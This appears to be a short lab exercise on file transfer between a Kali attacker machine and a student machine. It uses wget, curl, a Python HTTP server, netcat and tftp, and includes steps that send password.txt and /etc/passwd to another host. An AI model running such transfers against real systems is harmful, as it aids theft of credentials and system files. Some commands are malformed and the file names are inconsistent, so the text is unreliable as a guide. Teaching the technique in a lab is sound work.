

Downloading files

1. On your Kali machine, create a file named malware.php.

`echo "This is a malware file" > malware.php`

2. Then, in the same directory, create a temporary server with python on port 5000.

`python3 -m http.server 5000`

3. On your student machine, download the malware.txt file with the wget command.

Your command : `wget 10.0.2.15/malware.php`

4. On your Student machine, download the malware.txt file with the cURL command.

Your command : `curl -O 10.0.2.15/malware.php`

5. On the student machine, create a file named password.txt and transfer it to your student machine with netcat

Your commands: `nc -l -p 9090 > 10.0.2.15 80`

`Cat password.txt | nc 10.13.1.109 9090`

6. On the student machine, transfer /etc/passwd file to your kali machine with tftp

your commands: `tftp 10.0.2.15`

`tftp> put /etc/passwd`